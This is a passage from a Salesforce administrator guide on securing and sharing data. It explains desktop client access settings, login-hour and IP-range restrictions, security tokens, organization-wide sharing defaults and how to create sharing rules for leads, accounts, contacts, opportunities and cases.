Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available. To set permissions for Salesforce for Outlook, use the “Manage
Email Client Configurations” permission.
You can set users' access to desktop client by editing their profiles.
The desktop client access options are:
MeaningOption
The respective client download page in users’ personal settings is hidden.
Also, users can't log in from the client.
Off (access denied)
The respective client download page in users’ personal settings is hidden.
Users can log in from the client but can't upgrade it from their current
version.
On, no updates
Users can download, log in from, and upgrade the client, but don't see
alerts when a new version is made available.
On, updates w/o alerts
Users can download, log in from, and upgrade the client. They can see
update alerts, and can follow or ignore them.
On, updates w/alerts
Users can download, log in from, and upgrade the client. When a new
version is available, they can see an update alert. They can't log in from
the client until they have upgraded it.
On, must update w/alerts
Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions, all users
have the system default “On, updates w/o alerts” for all clients.
Note:
• Desktop client access is available only for users whose profiles have the “API Enabled” permission.
• If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and their
profile setting is “Off (access denied)” or “On, must update w/alerts,” the error Invalid Salesforce API
request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook 2.0
or later will see an appropriate descriptive message.
34
User PermissionsSecuring and Sharing Data
If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears
in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can
download and run installer files. From their personal settings, users can also access the Check for Updates page, regardless of
whether an alert has occurred.
WorkingwithDesktopClientAccessintheEnhancedProfileUserInterface
User Permissions Needed
“View Setup and Configuration”To view desktop client access settings:
“Manage Users”To edit desktop client access settings:
Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.
Note: To access desktop clients, users must also have the “API Enabled” permission.
On the Desktop Client Access page in the enhanced profile user interface, you can:
• Change the desktop client access settings by clicking Edit
• Search for an object, permission, or setting
• Clone the profile
• If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
• Change the profile name or description by clicking Edit Properties
• Go to the profile overview page by clicking Profile Overview
• Switch to a different settings page by clicking the down arrow next to the Desktop Client Access name and selecting the
page you want
Viewing and Editing Desktop Client Access in the Original Profile User
Interface
User Permissions Needed
“View Setup and Configuration”To view desktop client access settings:
“Manage Users”To edit desktop client access settings:
Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.
Note: To access desktop clients, users must also have the “API Enabled” permission.
1. From Setup, click Manage Users > Profiles.
2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the bottom of the page.
35
Working with Desktop Client Access in the Enhanced Profile
User Interface
Securing and Sharing Data
Setting Login Restrictions
To help protect your organization’s data against unauthorized access, you have several options for setting login restrictions.
Login Hours
For each profile, you can set the hours when users can log in. See:
• Viewing and Editing Login Hours in the Enhanced Profile User Interface
• Viewing and Editing Login Hours in the Original Profile User Interface
Two-Factor Authentication for User Interface Logins
For each profile, you can require users to enter a time-based token as a second form of authentication when they log in
via the user interface. See “Setting Two-Factor Authentication Login Requirements” in the Salesforce Help.
Two-Factor Authentication for API Logins
For each profile, you can allow the use of a time-based token to access the service instead of the standard security token.
If users add a time-based token to their account and this permission is enabled, they must use this token instead of the
standard security token whenever it’s requested, such as when resetting the account’s password. See “Using Time-Based
Tokens to Access the API” in the Salesforce Help.
Login IP Address Ranges
For each profile, you can set the IP addresses from which users can log in. See:
• Restricting Login IP Ranges in the Enhanced Profile User Interface
• Restricting Login IP Addresses in the Original Profile User Interface
Organization-Wide Trusted IP Address List
For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge.
See Restricting Login IP Ranges for Your Organization.
When users log in to Salesforce, either via the user interface, the API, or a desktop client such as Connect for Outlook,
Salesforce for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader, Salesforce confirms
that the login is authorized as follows:
1. Salesforce checks whether the user’s profile has login hour restrictions. If login hour restrictions are specified for the user’s
profile, any login outside the specified hours is denied.
2. If the user has the “Two-Factor Authentication for User Interface Logins” permission, Salesforce prompts the user for a
time-based token (which the user may also be prompted to create if it hasn’t already been added to the account) upon
logging in.
3. If the user has the “Two-Factor Authentication for API Logins” permission and a time-based token has been added to
the account, Salesforce returns an error if a time-based token is not used to access the service in place of the standard
security token.
4. Salesforce then checks whether the user’s profile has IP address restrictions. If IP address restrictions are defined for the
user’s profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed.
5. If profile-based IP address restrictions are not set, Salesforce checks whether the user is logging in from an IP address they
have not used to access Salesforce before:
• If the user’s login is from a browser that includes a Salesforce cookie, the login is allowed. The browser will have the
Salesforce cookie if the user has previously used that browser to log in to Salesforce, and has not cleared the browser
cookies.
• If the user’s login is from an IP address in your organization’s trusted IP address list, the login is allowed.
36
Setting Login RestrictionsSecuring and Sharing Data
• If the user’s login is from neither a trusted IP address nor a browser with a Salesforce cookie, the login is blocked.
Whenever a login is blocked or returns an API login fault, Salesforce must verify the user’s identity:
• For access via the user interface, the user is prompted toenter a token (also called a verification code) to confirm the user’s
identity.
Note: Users aren’t asked for a verification code the first time they log in to Salesforce.
• For access via the API or a client, users must add their security token (or time-based token if Two-Factor Authentication
on API Logins is set on the user’s profile and the user has added a time-based token to his or her account) to the end of
their password in order to log in.
A security token is an automatically-generated key from Salesforce. For example, if a user’s password is mypassword,
and the security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in.
Users can obtain their security token by changing their password or resetting their security token via the Salesforce user
interface. When a user changes their password or resets their security token, Salesforce sends a new security token to the
email address on the user’s Salesforce record. The security token is valid until a user resets their security token, changes
their password, or has their password reset.
Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network
prior to attempting to access Salesforce from a new IP address.
Tips on Setting Login Restrictions
Consider the following when setting login restrictions:
• When a user’s password is changed, the security token is automatically reset. The user may experience a blocked login until
he or she adds the automatically-generated security token to the end of his or her password when logging in to Salesforce
via the API or a client.
• Partner Portal and Customer Portal users aren’t required to activate computers to log in.
• For more information on API login faults, see the Core Data Types Used in API Calls topic in the SOAP API Developer's
Guide.
• If single sign-on is enabled for your organization, API and desktop client users can’t log into Salesforce unless their IP
address is included on your organization’s list of trusted IP addresses or on their profile, if their profile has IP address
restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the “Is Single
Sign-On Enabled” permission. However, if the security token is enabled for your organization, then your organization’s
login lockout settings determine the number of times a user can attempt to log in with an invalid security token before
being locked out of Salesforce.
• These events count toward the number of times a user can attempt to log in with an invalid password before being locked
out of Salesforce, as defined in your organization’s login lockout settings:
◊ Each time a user is prompted to confirm his or her identity (when a user clicks Email me a verification code for
example)
◊ Each time a user incorrectly adds the security token or time-based token to the end of their password to log into the
API or a client
37
Setting Login RestrictionsSecuring and Sharing Data
Restricting Login IP Ranges in the Enhanced Profile User Interface
User Permissions Needed
“View Setup and Configuration”To view login IP ranges:
“Manage Users”To edit login IP ranges:
“Modify All Data”To delete login IP ranges:
You can control login access on a user’s profile by specifying a range of IP addresses. When you define IP address restrictions
for a profile, any login from a restricted IP address is denied.
1. From Setup, click Manage Users > Profiles.
2. Select a profile and click its name.
3. In the profile overview page, click Login IP Ranges.
4. Use any of these methods to change login IP address ranges for the profile.
• If you want to add ranges, click Add IP Ranges. Enter a valid IP address in the IP Start Address and a higher
IP address in the IP End Address field. The start and end addresses define the range of allowable IP addresses from
which users can log in. To allow logins from a single IP address, enter the same address in both fields. For example,
to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses.
• If you want to edit or remove ranges, click Edit or Delete for that range.
Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address
space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can’t include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes
IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or ::
to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in
sandbox organizations from the Spring ’12 release and later.
Important:
• Partner User profiles are limited to 5 IP addresses. If you want to increase this limit, contact salesforce.com.
• The Salesforce Classic app can bypass IP range definitions set up for profiles. Salesforce Classic initiates a
secure connection to Salesforce over the mobile carrier’s network, but the mobile carrier’s IP addresses might
be outside of the IP ranges allowed on the user’s profile. To prevent bypassing IP definitions set on a user’s
profile, “disable Salesforce Classic” in the Salesforce Help for that user.
Restricting Login IP Addresses in the Original Profile User Interface
User Permissions Needed
“View Setup and Configuration”To view login IP ranges:
“Manage Users”To edit login IP ranges:
“Modify All Data”To delete login IP ranges:
38
Restricting Login IP Ranges in the Enhanced Profile User
Interface
Securing and Sharing Data
You can control login access on a user’s profile by specifying a range of IP addresses. When you define IP address restrictions
for a profile, any login from a restricted IP address is denied.
1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition:
• If you’re using Enterprise, Unlimited, Performance, or Developer editions, from Setup, click ManageUsers > Profiles,
and select a profile.
• If you’re using Professional, Group, or Personal editions, from Setup, click Security Controls > Session Settings.
2. Click New in the Login IP Ranges related list.
3. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from
a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0
as both the start and end addresses.
• Partner User profiles are limited to 5 IP addresses. If you want to increase this limit, contact salesforce.com.
• The Salesforce Classic app can bypass IP range definitions set up for profiles. Salesforce Classic initiates a secure
connection to Salesforce over the mobile carrier’s network, but the mobile carrier’s IP addresses might be outside of
the IP ranges allowed on the user’s profile. To prevent bypassing IP definitions set on a user’s profile, “disable Salesforce
Classic” in the Salesforce Help for that user.
4. Click Save.
Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address
space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can’t include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP
addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to
::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox
organizations from the Spring ’12 release and later.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's
profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources
only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the
static resources to expire from the Salesforce cache and any intermediate caches.
Viewing and Editing Login Hours in the Enhanced Profile User Interface
User Permissions Needed
“View Setup and Configuration”To view login hour settings:
“Manage Users”To edit login hour settings:
For each profile, you can specify the hours when users can log in.
1. From Setup, click Manage Users > Profiles.
2. Select a profile and click its name.
3. In the profile overview page, scroll down to Login Hours and click Edit.
4. Set the days and hours when users with this profile can log in to the organization.
To allow users to log in at any time, click Clear all times. To prohibit users from using the system on a specific day, set
the start and end times to the same value.
39
Viewing and Editing Login Hours in the Enhanced Profile
User Interface
Securing and Sharing Data
If users are logged in when their login hours end, they can continue to view their current page, but they can’t take any
further action.
Note: The first time login hours are set for a profile, the hours are based on the organization’s Default Time
Zone as specified in Setup at CompanyProfile > CompanyInformation. After that, any changes to the organization’s
Default Time Zone won’t change the time zone for the profile’s login hours. As a result, the login hours are always
applied at those exact times even if a user is in a different time zone or if the organization’s default time zone is
changed.
Depending on whether you’re viewing or editing login hours, the hours may appear differently. On the Login Hours
edit page, hours are shown in your specified time zone. On the profile overview page, they appear in the organization’s
original default time zone.
Viewing and Editing Login Hours in the Original Profile User Interface
User Permissions Needed
“Manage Users”To set login hours:
For each profile, you can specify the hours when users can log in.
1. From Setup, click Manage Users > Profiles, and select a profile.
2. Click Edit in the Login Hours related list.
3. Set the days and hours when users with this profile can use the system.
To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set
the start and end times to the same value.
If users are logged in when their login hours end, they can continue to view their current page, but they can’t take any
further action.
4. Click Save.
Note: The first time login hours are set for a profile, the hours are based on the organization’s Default Time
Zone as specified in Setup at CompanyProfile > CompanyInformation. After that, any changes to the organization’s
Default Time Zone won’t change the time zone for the profile’s login hours. As a result, the login hours are always
applied at those exact times even if a user is in a different time zone or if the organization’s default time zone is
changed.
Depending on whether you're viewing or editing login hours, the hours may appear differently. On the profile detail
page, hours are shown in your specified time zone. On the Login Hours edit page, they appear in the organization's
default time zone.
Managing Salesforce Classic Permissions
User Permissions Needed
“View Setup and Configuration”To view Salesforce Classic configurations:
“Manage Mobile Configurations”To create, change, or delete Salesforce Classic configurations:
40
Viewing and Editing Login Hours in the Original Profile User
Interface
Securing and Sharing Data
A mobile license is required for each user who will access the full version of the Salesforce Classic app. You allocate mobile
licenses using the Mobile User checkbox on the user record. For organizations using Unlimited, Performance, and Developer
Editions, salesforce.com provides a mobile license for each Salesforce license and the Mobile User checkbox is enabled by
default for all users. Organizations using Professional or Enterprise Editions must purchase mobile licenses separately and
allocate them manually.
Note: The Mobile User checkbox is disabled by default for new Performance Edition users.
To prevent users from activating the full version of Salesforce Classic on their mobile devices before you’re ready to deploy
the app, disable the Mobile User checkbox for all your users.
Any Salesforce user who doesn't have a mobile license can download a free, restricted version of Salesforce Classic. Starting
with Summer ‘13, the free version of Salesforce Classic is disabled by default in all new organizations. You can enable it to
give users access to Salesforce on their mobile devices.
To enable the free version of Salesforce Classic:
1. From Setup, click Mobile Administration > Salesforce Classic > Settings.
2. Click Edit.
3. Select Enable Mobile Lite.
4. Click Save.
About Organization-Wide Sharing Defaults
Administrators can use organization-wide sharing settings to define the default sharing settings for an organization.
Organization-wide sharing settings specify the default level of access to records and can be set separately for accounts (including
assets and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects.
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write. In
environments where the organization-wide sharing setting for an object is Private or Public Read Only, an administrator can
grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can
only be used to grant additional access—they cannot be used to restrict access to records beyond what was originally specified
with the organization-wide sharing defaults.
Important: If your organization uses a Customer Portal, before you enable contacts to access the portal, set the
organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by
default your customers can view only their own data. You can still grant your Salesforce users Public Read/Write
access by creating sharing rules in which all internal users share with all internal users.
By default, Salesforce uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users
above the record owner in the hierarchy.
Setting an object to Private makes those records visible only to record owners and those above them in the role hierarchy. Use
the Grant Access Using Hierarchies checkbox to disable access to records to users above the record owner in the hierarchy
for custom objects in Professional, Enterprise, Unlimited, Performance, and Developer Edition. If you deselect this checkbox
for a custom object, only the record owner and users granted access by the organization-wide defaults receive access to the
records.
41
About Organization-Wide Sharing DefaultsSecuring and Sharing Data
Setting Your Organization-Wide Sharing Defaults
User Permissions Needed
“Manage Users”
AND
“Customize Application”
To set default sharing access:
Note: Who Sees What: Organization-Wide Defaults
Watch how you can restrict access to records owned by other users.
1. From Setup, click Security Controls > Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use. If you have a portal enabled with separate organization-wide
defaults, see External Organization-Wide Defaults Overview.
4. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that
does not have a default access of Controlled by Parent.
Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role or territory hierarchy
don’t receive automatic access. However, some users—such as those with the “View All” and “Modify All” object
permissions and the “View All Data” and “Modify All Data” system permissions—can still access records they
don’t own.
Updating the organization-wide defaults automatically runs sharing recalculation to apply any access changes to your records.
If you have a lot of data, the update can take longer. You’ll receive a notification email when the recalculation completes and
you can refresh the Sharing Settings page to see your changes. To view the update status, from Setup, click Security Controls
> View Setup Audit Trail.
Limitations
The organization-wide sharing default setting can’t be changed for some objects:
• Solutions are always Public Read/Write.
• Service contracts are always Private.
• The ability to view or edit a document, report, or dashboard is based on a user’s access to the folder in which it’s stored.
• Users can only view the forecasts of other users who are placed below them in the role hierarchy, unless forecast sharing
is enabled.
• When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide
default is set to Controlled by Parent and it is not editable.
• The organization-wide default settings can’t be changed from private to public for a custom object if Apex code uses the
sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing
access on a custom object Invoice__c (represented as Invoice__share in the code), you can’t change the object’s
organization-wide sharing setting from private to public.
42
Setting Your Organization-Wide Sharing DefaultsSecuring and Sharing Data
External Organization-Wide Defaults Overview
Note: This feature is not enabled in your organization by default. For information on enabling it, contact
salesforce.com.
External organization-wide defaults provides separate organization-wide defaults for internal and external users. It simplifies
your sharing rules configuration and improve recalculation performance. Additionally, administrators can easily see which
information is being shared to portals and other external users.
Separate organization-wide defaults is available for these objects.
• Accounts and their associated contracts and assets
• Cases
• Contacts
• Opportunities
• Custom Objects
• Users
External users include:
• Authenticated Website users
• Chatter External Users
• Customer Portal users
• Guest users
• High-Volume Portal Users
• Partner Portal users
• Service Cloud Portal users
Previously, if your organization wanted Public Read Only or Public Read/Write access for internal users but Private for external
users, you would have to set the default access to Private and create a sharing rule to share records with all internal users.
With separate organization-wide defaults, you can achieve similar behavior by setting Default Internal Access to Public Read
Only or Public Read/Write and Default External Access to Private without an additional sharing rule. Setting the default
internal access as Public Read Only or Public Read/Write also speeds up performance for reports, list views, searches, and
API queries.
Setting the External Organization-Wide Defaults
External Organization-Wide Defaults enable you to set a different default access level for external users.
Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions
User Permissions Needed
“Manage Users”To set default sharing access:
Note: External Organization-Wide Defaults is available through a pilot program. For more information on enabling
this feature for your organization, contact salesforce.com.
43
External Organization-Wide Defaults OverviewSecuring and Sharing Data
Before you set the external organization-wide defaults, make sure that it is enabled. From Setup, click Security Controls >
Sharing Settings, and click the Enable External Sharing Model button.
When you first enable external organization-wide defaults, the Default Internal Access and Default External Access are set
to the original default access level. For example, if your organization-wide default for contacts is Private, the Default Internal
Access and Default External Access will be Private as well.
To set the external organization-wide default for an object:
1. From Setup, click Security Controls > Sharing Settings
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use.
You can assign the following access levels.
DescriptionAccess Level
Users can perform actions (such as view, edit, delete) on a record
on the detail side of a master-detail relationship if they can perform
the same action on all associated master records.
Controlled by Parent
Only users who are granted access by ownership, permissions, role
hierarchy, manual sharing, or sharing rules can access the records.
Private
All users can view all records for the object.Public Read Only
All users can view and edit all records for the object.Public Read/Write
Note: The Default External Access level must be more restrictive or equal to the Default Internal Access level.
For example, you can have a custom object with Default External Access set to Private and Default Internal
Access set to Public Read Only.
4. Click Save.
Disabling External Organization-Wide Defaults
Disabling External Organization-Wide Defaults results in one organization-wide default for each object.
Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions
User Permissions Needed
“Manage Users”To disable external organization-wide defaults:
Before disabling this feature, set DefaultExternalAccess and DefaultInternalAccess to the same access level for each object.
To disable the external organization-wide defaults:
1. From Setup, click Security Controls > Sharing Settings
2. Click Disable External Sharing Model in the Organization-Wide Defaults area.
After disabling the external organization-wide defaults, you’ll see the Default Access setting instead of the Default External
Access and Default Internal Access settings in the organization-wide defaults area. If you have User Sharing, the Default
External Access settings for the account, contact, case, and opportunity objects remain visible but they are disabled.
44
Disabling External Organization-Wide DefaultsSecuring and Sharing Data
Sharing Rules Overview
Note: Who Sees What: Record Access via Sharing Rules
Watch how you can grant access to records using sharing rules.
With sharing rules, you can make automatic exceptions to your organization-wide sharing settings for defined sets of users.
For example, use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never
be stricter than your organization-wide default settings. They simply allow greater access for particular users.
You can create the following types of sharing rules.
Set Default Sharing Access forBased onType
Accounts and their associated contracts,
assets, opportunities, cases, and
optionally, contacts
Account owner or other criteria,
including account record types or field
values
Account sharing rules
Accounts and their associated cases,
contacts, contracts, and opportunities
Territory assignmentAccount territory sharing rules
Individual campaign recordsCampaign owner or other criteria,
including campaign record types or field
values
Campaign sharing rules
Individual cases and associated accountsCase owner or other criteria, including
case record types or field values
Case sharing rules
Individual contacts and associated
accounts
Contact owner or other criteria, including
contact record types or field values
Contact sharing rules
Individual custom object recordsCustom object owner or other criteria,
including custom object record types or
field values
Custom object sharing rules
Individual leadsLead owner or other criteria, including
lead record types or field values
Lead sharing rules
Individual opportunities and their
associated accounts
Opportunity owner or other criteria,
including opportunity record types or
field values
Opportunity sharing rules
Individual user recordsGroup membership or other criteria,
including username and whether the user
is active
User sharing rules
Note:
• You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public
groups.
• Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria).
This does not apply to User Sharing.
45
Sharing Rules OverviewSecuring and Sharing Data
Criteria-Based Sharing Rules Overview
Criteria-based sharing rules determine whom to share records with based on field values in records. For example, let’s say you
use a custom object for job applications, with a custom picklist field named “Department.” You can create a criteria-based
sharing rule that shares all job applications in which the Department field is set to “IT” with all IT managers in your organization.
Note:
• Although criteria-based sharing rules are based on values in the records and not the record owners, a role or
territory hierarchy still allows users higher in the hierarchy to access the records.
• You can’t use Apex to create criteria-based sharing rules. Also, criteria-based sharing cannot be tested using Apex.
• You can use the Metadata API to create criteria-based sharing rules starting in API version 24.0.
• You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public
groups.
You can create criteria-based sharing rules for accounts, opportunities, cases, contacts, leads, campaigns, and custom objects.
You can create up to 50 criteria-based sharing rules per object.
• Record types
• These field types:
◊ Auto Number
◊ Checkbox
◊ Date
◊ Date/Time
◊ Email
◊ Number
◊ Percent
◊ Phone
◊ Picklist
◊ Text
◊ Text Area
◊ URL
◊ Lookup Relationship (to user ID or queue ID)
Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies “Manager” in
a text field won’t share records with “manager” in the field. To create a rule with several common cases of a word,
enter each value separated by a comma.
Creating Lead Sharing Rules
User Permissions Needed
“Manage Users”To create sharing rules:
Lead sharing rules are based on the record owner or on other criteria, including record type and certain field values. You can
define up to 300 lead sharing rules, including up to 50 criteria-based sharing rules.
46
Criteria-Based Sharing Rules OverviewSecuring and Sharing Data
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, click Security Controls > Sharing Settings.
3. In the Lead Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule
Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. Select a rule type.
7. Depending on the rule type you selected, do the following:
• Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
10. Click Save.
Creating Account Sharing Rules
User Permissions Needed
“Manage Users”To create sharing rules:
Account sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 account sharing rules, including up to 50 criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, click Security Controls > Sharing Settings.
3. In the Account Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule
Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. Select a rule type.
7. Depending on the rule type you selected, do the following:
47
Creating Account Sharing RulesSecuring and Sharing Data
Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
•
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
9. Select a setting for Default Account, Contract and Asset Access.
10. In the remaining fields, select the access settings for the records associated with the shared accounts.
DescriptionAccess Setting
Users can’t view or update records, unless access is granted
outside of this sharing rule.
Private
(available for associated contacts, opportunities, and cases
only)
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled
by Parent.
11. Click Save.
Creating Account Territory Sharing Rules
User Permissions Needed
“Manage Users”To create sharing rules:
Account territory sharing rules are based on territory assignment. You can define up to 300 account territory sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, click Security Controls > Sharing Settings.
3. In the Account Territory Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule
Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. In the Accounts in Territory line, select Territories or Territories and Subordinates from the first drop-down list and a
territory from the second drop-down list.
7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
48
Creating Account Territory Sharing RulesSecuring and Sharing Data
8. Select a setting for Default Account, Contract and Asset Access.
9. In the remaining fields, select the access setting for the records associated with the shared account territories.
DescriptionAccess Setting
Users can’t view or update records, unless access is granted
outside of this sharing rule.
Private
(available for associated contacts, opportunities, and cases
only)
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled
by Parent.
10. Click Save.
Creating Contact Sharing Rules
User Permissions Needed
“Manage Users”To create sharing rules:
Contact sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 contact sharing rules, including up to 50 criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, click Security Controls > Sharing Settings.
3. In the Contact Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule
Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. Select a rule type.
7. Depending on the rule type you selected, do the following:
• Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
49
Creating Contact Sharing RulesSecuring and Sharing Data
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
10. Click Save.
Creating Opportunity Sharing Rules
User Permissions Needed
“Manage Users”To create sharing rules:
Opportunity sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 opportunity sharing rules, including up to 50 criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, click Security Controls > Sharing Settings.
3. In the Opportunity Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule
Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. Select a rule type.
7. Depending on the rule type you selected, do the following:
• Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
9. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the
Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the
associated account.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
10. Click Save.
50
Creating Opportunity Sharing RulesSecuring and Sharing Data
Creating Case Sharing Rules
User Permissions Needed
“Manage Users”To create sharing rules:
Case sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You
can define up to 300 case sharing rules, including up to 50 criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, click Security Controls > Sharing Settings.
3. In the Case Sharing Rules related list, click New.
